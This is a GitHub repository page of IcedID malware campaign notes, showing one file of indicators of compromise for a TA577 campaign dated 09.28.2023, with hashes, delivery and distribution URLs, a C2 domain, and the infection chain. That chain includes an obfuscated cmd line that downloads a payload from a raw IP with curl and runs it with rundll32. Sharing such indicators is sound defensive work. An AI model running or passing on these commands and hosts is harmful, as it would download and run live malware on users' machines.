

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

pr0xylife / icedID

Public

Notifications

Fork

5

Star

34

<> Code

Issues

Pull requests

Actions

Projects

Security

Insights

Files

8dd1e21

Go to file

icedID\_01.09.2022.txt

icedID\_02.03.2023.txt

icedID\_02.08.2022.txt

icedID\_03.08.2022.txt

icedID\_05.12.2022.txt

icedID\_06.09.2022.txt

icedID\_07.09.2022.txt

icedID\_08.03.2022.txt

icedID\_09.02.2022.txt

icedID\_09.11.2022.txt

icedID\_09.26.2023.txt

icedID\_09.28.2023.txt

icedID\_10.10.2022.txt

icedID\_10.11.2022.txt

icedID\_11.10.2023.txt

icedID\_12.01.2023.txt

icedID\_15.04.2022.txt

icedID\_15.07.2022.txt

icedID\_15.08.2022.txt

icedID\_16.01.2023.txt

icedID\_16.10.2023.txt

icedID\_16.11.2022.txt

icedID\_17.01.2023.txt

icedID\_17.03.2023.txt

icedID\_18.08.2022.txt

icedID\_19.01.2023.txt

icedID\_19.07.2022.txt

icedID\_19.09.2022.txt

icedID\_19.10.2022.txt

icedID\_20.01.2023.txt

icedID\_20.06.2022.txt

icedID\_20.07.2022.txt

icedID\_21.02.2023.txt

icedID\_22.03.2022.txt

icedID\_22.08.2022.txt

icedID\_23.06.2022.txt

icedID / icedID\_09.28.2023.txt

pr0xylife

Update icedID\_09.28.2023.txt

a959f79 · last year

History

Code

Blame

36 lines (20 loc) · 1022 Bytes

Raw

1 IcedID | 09.28.2023 | Campaign 163487289 | TA577 |

2

3 \*\*\*\*\*

4

5 .url https://themarijuanashow.com/rt/

6 .zip 96183d3cd4307ff21793b4eaf54ee2c6c7e387e7c5d896f159d980eb1344301a

7 .dll 1f80003416d85564aa437e72de131702a3a413b4d60611bf412f92ee9cf1f7ee

8

9 \*\*\*\*\*

10

11 Exec >>

12

13 cmd /c C:\Users\Admin\AppData\Local\Temp\4DH.pdf.lnk

14

15 cmd.exe /c fbV3 || echo fbV3 & Ping fbV3 || CurL http://155.138.164.116/Rf0hPt1/3p -o C

16

17 C:\Windows\system32\PING.EXE

18

19 Ping -n 3 fbV3

20

21 ruNd1L32 C:\Users\Admin\AppData\Local\Temp\fbV3.log scab /k pechene634

22

23 \*\*\*\*\*

24

25 .dll distro

26

27 http://155.138.164.]116/Rf0hPt1/3p

28 http://155.138.223.115/eM19/Qs1

29

30 \*\*\*\*\*

31

32 c2 downloader







33

34 http://carsfootyelo.com/

35

36 \*\*\*\*\*

Page 1 of 2

-  icedID\_24.01.2023.txt
-  icedID\_24.03.2023.txt
-  icedID\_24.10.2022.txt
-  icedID\_25.07.2022.txt
-  icedID\_25.10.2022.txt
-  icedID 26.05.2022.txt